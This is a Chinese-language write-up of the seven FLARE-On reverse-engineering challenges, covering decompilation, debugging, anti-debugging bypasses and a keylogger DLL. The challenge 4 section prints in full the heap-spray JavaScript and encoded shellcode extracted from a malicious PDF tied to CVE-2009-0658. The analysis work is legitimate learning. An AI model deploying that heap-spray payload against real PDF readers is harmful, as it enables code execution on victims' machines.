The FLARE On Challenge
上周才開始做這個CTF,用一周左右的時間完成了全部7道題。算是為即將到來的找工作進行熱身和學(xué)習(xí),下面記錄一下遇到的問題和學(xué)到的東西,具體的解題過程就不詳細描述了。
?
challenge1
這道題用IDA打開發(fā)現(xiàn)是一個.net程序,于是用.NET Reflector反編譯定位?button的處理函數(shù),就可以定位解碼函數(shù)了?!?/p>
?
challenge2
通過郵件里的描述(We saw what looked like attacker activity to this site)猜測頁面里面被嵌入了惡意代碼,對比發(fā)現(xiàn)隱藏在flare-on.png尾部的php代碼,這里主要推薦一個比較好的在線代碼測試網(wǎng)站: http://codepad.org/ 通過多次的執(zhí)行、解碼最終獲取flag
?
challenge3
第三道題目用IDA簡單看了一下發(fā)現(xiàn)主函數(shù)里第五個call最后會call eax,就不用多看了,因為平時分析shellcode習(xí)慣使用windbg,所以就直接通過windbg進行跟蹤調(diào)試,最終順利拿到flag
?
challenge4
這道題拿到手發(fā)現(xiàn)是個pdf,在虛擬機中進行測試時發(fā)現(xiàn)打開速度偏慢,觀察任務(wù)管理器發(fā)現(xiàn)內(nèi)存有明顯的變化,判斷應(yīng)該是有heap spray的操作。之前只是知道pdf漏洞利用大概原理和思路,但還沒有實際分析過pdf的漏洞,因此上手前首先了解學(xué)習(xí)了一下相關(guān)知識,了解pdf漏洞的分析流程等等。
首先,當(dāng)然是要了解一下pdf的文件格式,這篇文章分析的很詳細:http://hi.baidu.com/justear/item/b2c15d0e7fa0e68202ce1b19
然后通過網(wǎng)上找到的一些pdf漏洞分析報告了解pdf漏洞分析與利用的大致情況,通過現(xiàn)有的文章發(fā)現(xiàn)pdf的問題分布比較廣泛,有pdf本身的處理流程問題,也有JBIG2壓縮、XML格式、u3d格式等等處理流程問題,而分析流程則與IE類似,主要是先要大致定位問題方向,然后一步步跟蹤分析定位成因。
考慮到這里是CTF比賽,每個人的測試環(huán)境都會不同,因此直接去定位漏洞沒什么思路。? 工欲善其事必先利其器,這里我利用PDFScope進一步分析此文檔的格式和內(nèi)容。通過分析發(fā)現(xiàn)pdf內(nèi)部的JBIG2Decode會對內(nèi)部JBIG2編碼的數(shù)據(jù)流進行解析。通過PDFScope解析JIBIG2 stream,獲取到JS代碼,通過觀察的確是heap spary。摳出shellcode直接上WinDbg進行分析,最終拿到flag。
var HdPN = "";var Param_1 = "";var Spray = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");var Param_2 = "";for (i=128;i>=0;--i)Param_2 += unescape("%ub32f%u3791");var Param_3 = Param_2 + Spray;var Param_4 = unescape("%ub32f%u3791");var Param_5 = 20;var Param_6 = Param_5+Param_3.lengthwhile (Param_4.length<Param_6) Param_4+=Param_4;var Param_7 = Param_4.substring(0, Param_6);var Param_8 = Param_4.substring(0, Param_4.length-Param_6);while(Param_8.length+Param_6 < 0x40000) Param_8 = Param_8+Param_8+Param_7;var Param_9 = new Array();for (i=0;i<100;i++) Param_9[i] = Param_8 + Param_3;for (i=142;i>=0;--i) Param_1 += unescape("%ub550%u0166");var Param_10 = Param_1.length + 20while (Param_1.length < Param_10) Param_1 += Param_1;var Param_11 = Param_1.substring(0, Param_10);var Param_12 = Param_1.substring(0, Param_1.length-Param_10);while(Param_12.length+Param_10 < 0x40000) Param_12 = Param_12+Param_12+Param_11;var Param_13 = new Array();for (i=0;i<125;i++) Param_13[i] = Param_12 + Param_1;?
PS:后來跟同學(xué)交流知道這里的題目環(huán)境是CVE-2009-0658,針對漏洞成因接下來準(zhǔn)備進一步分析學(xué)習(xí)一下。
?
challenge5
這道題拿到手后發(fā)現(xiàn)是一個dll,對于沒有符號的dll還是使用Olldbg跟蹤調(diào)試比較方便,配合IDA,發(fā)現(xiàn)這個dll實現(xiàn)了鍵盤記錄器的功能,它將自己拷貝到系統(tǒng)目錄偽裝成svchost.dll,并在注冊表注冊了自啟動項,從而實現(xiàn)自啟動。同時,程序在自身目錄下創(chuàng)建svchost.org記錄用戶按鍵。
剛開始,發(fā)現(xiàn)sub_10009EB0里實現(xiàn)了鍵盤按鍵的檢測,面對復(fù)雜的流程,我不想深入分析。并且初步判斷其內(nèi)部應(yīng)該不是解題的關(guān)鍵,然而跟蹤走完整個程序的主流程后,并沒有發(fā)現(xiàn)什么異常,從而開始納悶這道題的解題思路。最終還是從sub_10009EB0入手,發(fā)現(xiàn)有些按鍵的處理會復(fù)雜一些。
而且這些按鍵的處理具有一定的規(guī)律,如果某值X大于0,則對其進行置0操作,并且對X+4處置1,因此判斷這些按鍵的按下操作會互相影響。于是記錄所有具有類似操作的按鍵:0、5、a、c、d、e、f、g、h、i、k、l、m、n、o、r、s、t、u。并對其內(nèi)部判斷邏輯進行整理,在此過程中還發(fā)現(xiàn)程序?qū)和m兩鍵的處理更加特殊,l會判斷dword_10017000是否為0,并對dword_10019460置1;而m則會在dword_100194FC>=1的情況下,call??? sub_10001240。看來只要按照邏輯設(shè)計按鍵順序,最終引導(dǎo)至m調(diào)用sub_10001240,即是獲取此關(guān)flag的關(guān)鍵所在~?
最終,在輸入flag(由前面的按鍵組成)后,程序最終調(diào)用dword_10019460,我一直跟蹤調(diào)試至彈出最終的對話框(由于太專注,原以為flag會在最后呈現(xiàn)呢,最后才發(fā)現(xiàn)由前面的按鍵組合就是flag了)。面對最終界面我不禁被出題者的思路所震撼,什么時候ISCC要是也能出這樣的題,那就NB了。。。
?
challenge6
雖然去年的一個項目要求部署至Linux,但由于不習(xí)慣Linux下的編程環(huán)境,我還是選擇了使用C++在VS下開發(fā)、測試,最終經(jīng)過微調(diào)部署至Linux,也因此沒有積累下GDB等調(diào)試器的使用經(jīng)驗。對于Linux程序的逆向調(diào)試,我更是缺乏這方面的經(jīng)驗,這回只好從頭開始學(xué)起。
為了做題,首先還是用IDA大致看一眼,找到程序的主函數(shù)先。不過這第一步就難住了我,發(fā)現(xiàn)程序使用靜態(tài)編譯加大了分析難度,而且不了解唯一有名字的幾個函數(shù)的功能。為了找到程序的主函數(shù),在網(wǎng)上找到了一篇很詳細的文章——linux編程之main()函數(shù)啟動過程 ,并且通過源碼定位了程序啟動過程:
start -> __libc_start_main -> __libc_csu_init -> _init (_init_proc)?? ?
?? ??? ??? ??? ??? ??? ????????????? -> main()
同時也學(xué)習(xí)了Linux x64的函數(shù)調(diào)用約定
(1) 參數(shù)個數(shù)少于7個:
f (a, b, c, d, e, f);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
g (a, b)
a->%rdi, b->%rsi
(2) 參數(shù)個數(shù)大于 7 個的時候
H(a, b, c, d, e, f, g);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%rax
g->8(%esp)
f->(%esp)
call H
至此,參照參考資料、源碼并對照IDA里反匯編出來的代碼,我基本弄清楚了Linux程序的啟動過程,也定位了主函數(shù)位置:
?????????????
主函數(shù)里唯一調(diào)用了sub_452079這個子函數(shù),這個函數(shù)非常大,以至于不能通過IDA的Graph View來觀察函數(shù)的執(zhí)行流程。并且看了其調(diào)用的前幾個子函數(shù)后感到很奇怪,為什么都只是把數(shù)據(jù)段里的字符串等數(shù)據(jù)往棧上塞,而沒有其他任何系統(tǒng)調(diào)用之類的操作。而程序里出現(xiàn)了不少讀取棧上指針?biāo)竷?nèi)容往bss段進行寫操作的片段,如下圖,看來在動態(tài)跟蹤調(diào)試的時候這個地方需要注意一下。
在調(diào)試前當(dāng)然是想要運行一下看看,發(fā)現(xiàn)輸入不同數(shù)量的參數(shù),其返回內(nèi)容也不一樣?! ?/p>
隨后,我就進入了艱難、漫長的跟蹤調(diào)試階段,既然無從下手,也就只能先一步步跟跟看了。調(diào)試了一陣后覺得特別痛苦,就跟已經(jīng)做完的朋友抱怨Linux環(huán)境下跟蹤調(diào)試的各種不爽,而他則提醒我用IDA雙機調(diào)試。于是切換至IDA,進行雙機調(diào)試(這里提醒一下,如果配置正確,但IDA仍始終不能連接目標(biāo)主機的話,很有可能是目標(biāo)主機防火墻沒有關(guān)閉)。? 在接下來同樣漫長、郁悶的跟蹤調(diào)試階段里,慢慢跟蹤分析清楚了程序執(zhí)行流程。在不同的參數(shù)情況下,程序退出前bss段里的數(shù)據(jù)情況不一樣,可以看出程序輸出“bad”字符串并退出時bss段里的數(shù)據(jù)最多,但仍然不完整。我猜想只要控制程序流程,最終這里會被填滿吧。。。難道flag就保存在這里?
這里提一下,在調(diào)試環(huán)境下,設(shè)置2個參數(shù)時,程序最終并不像之前輸出“bad”,而是返回“Program received signal SIGSEGV, Segmen”,定位至程序返回前的位置:
從下往上,sub_45E790實現(xiàn)了程序返回退出的功能,可以通過交叉引用定位其他返回點;sub_45EBE0實現(xiàn)了輸出功能,同樣可以通過交叉引用定位程序中其他的輸出點;sub_4742B0進行了系統(tǒng)調(diào)用,調(diào)用號是65h,可以通過Linux System Call Table for x86_64? 查找系統(tǒng)調(diào)用號對應(yīng)的系統(tǒng)調(diào)用函數(shù),這里65h對應(yīng)sys_ptrace系統(tǒng)調(diào)用,它實現(xiàn)了子進程請求父進程跟蹤或由父進程向子進程發(fā)跟蹤命令的功能,由于程序已經(jīng)處于調(diào)試狀態(tài),因此此系統(tǒng)調(diào)用會返回0xFFFFFFFFFFFFFFFF,這里則用它來進行反調(diào)試,因此函數(shù)返回后應(yīng)對rax進行清零操作。
之后,在程序輸出“bad”并返回前,有如圖所示的操作,其中sub_400370會將堆上的字符串“gdebc`ano7”與aBngcgDebg對比,如果不相等則會返回非0值,由于這里處在一個大循環(huán)里,因此直接修改aBngcgDebg為“gdebc`ano7”,從而改變程序執(zhí)行流程繼續(xù)向下執(zhí)行。
在另外一個“bad”那里,有如圖所示的操作,通過repne scasb計算了argv[1]的長度,如果長度為0x0A,則不退出,跳轉(zhuǎn)執(zhí)行流程繼續(xù)向下執(zhí)行。因此我們應(yīng)該將參數(shù)1的長度設(shè)置為10
由于剛開始判斷最終的flag可能會隱藏在逐漸填充的bss段里,因此之后我不斷手動改變執(zhí)行流程,最終在程序返回前發(fā)現(xiàn)bss段里出現(xiàn)了一段base64編碼的字符串,解碼后發(fā)現(xiàn)是“OMG this is Ko fake y u no kno dis???? i troll you hard”,這才知道自己被“調(diào)戲”了。。。
之后還是回到正常的分析流程上來,之前一直在如下圖所示的位置卡死,現(xiàn)在來看看它是什么。0x23號系統(tǒng)調(diào)用代表sys_nanosleep,原來此處使調(diào)用進程睡眠。因此追溯到其父函數(shù)的父函數(shù)處修改睡眠時間為0,從而越過這個暗樁。
最終,翻山越嶺程序來到這里,啊哈,flag一定藏在里面。
之后就是對通過程序的argv[2]依次判斷,跳轉(zhuǎn)到最后的sys_socket、sys_connect、sys_dup2、sys_execve。。。這里argv[2]就是最終的flag了。
最后總結(jié)一下,做完這道題最大的收獲還是——工欲善其事必先利其器。通過IDA雙機調(diào)試,仿佛在調(diào)試一個Windows程序那樣為我省了很多事。其次是學(xué)習(xí)了解了Linux程序啟動過程、調(diào)用約定、系統(tǒng)調(diào)用、反調(diào)試等等。
?
challenge7
這道題使用了多種反調(diào)試技術(shù)、虛擬機檢測技術(shù),除此之外還檢測了斷點的數(shù)量,時間是否吻合等,個人認為這道題難度沒有上一道題高,但確很繞很煩人,為了確定正確的執(zhí)行流程,進行了很多嘗試。還有后面為了翻墻,要通過goagent設(shè)置代理,調(diào)整InternetOpenW的參數(shù),剛開始用win7+IE10怎么弄都不行,后來換成win7+IE8就可以了(也許第一天是什么地方?jīng)]有設(shè)置好?)。? 后來跟朋友吐槽說這是給國內(nèi)玩家增加難度,哈哈。。
注意一下InternetOpen()的第二個參數(shù)就可以了
#define INTERNET_OPEN_TYPE_PRECONFIG??????????????????? 0?? // use registry configuration
#define INTERNET_OPEN_TYPE_DIRECT????????????????????????? 1?? // direct to net
#define INTERNET_OPEN_TYPE_PROXY?????????????????????????? 3?? // via named proxy
#define INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY? 4?? // prevent using java/script/INS
最后的結(jié)果仍然使用.NET Reflector反編譯,剛開始嘗試直接建立C++工程運行輸出,結(jié)果發(fā)現(xiàn)unicode字符的問題不好解決,就還是用C#了,現(xiàn)學(xué)現(xiàn)賣..
總結(jié)
通過這個CTF進一步鍛煉、提升了自己逆向、調(diào)試能力,并且也學(xué)到不少東西。最最大的體會還是工欲善其事必先利其器,運用好的工具往往會事倍功半,在學(xué)習(xí)積累過程中不斷收集、自己編寫順手的小工具也很有意義。
?
轉(zhuǎn)載于:https://www.cnblogs.com/Danny-Wei/p/3945870.html
總結(jié)
以上是生活随笔為你收集整理的The FLARE On Challenge的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: dynamic和var的区别
- 下一篇: 顺序栈(1)课本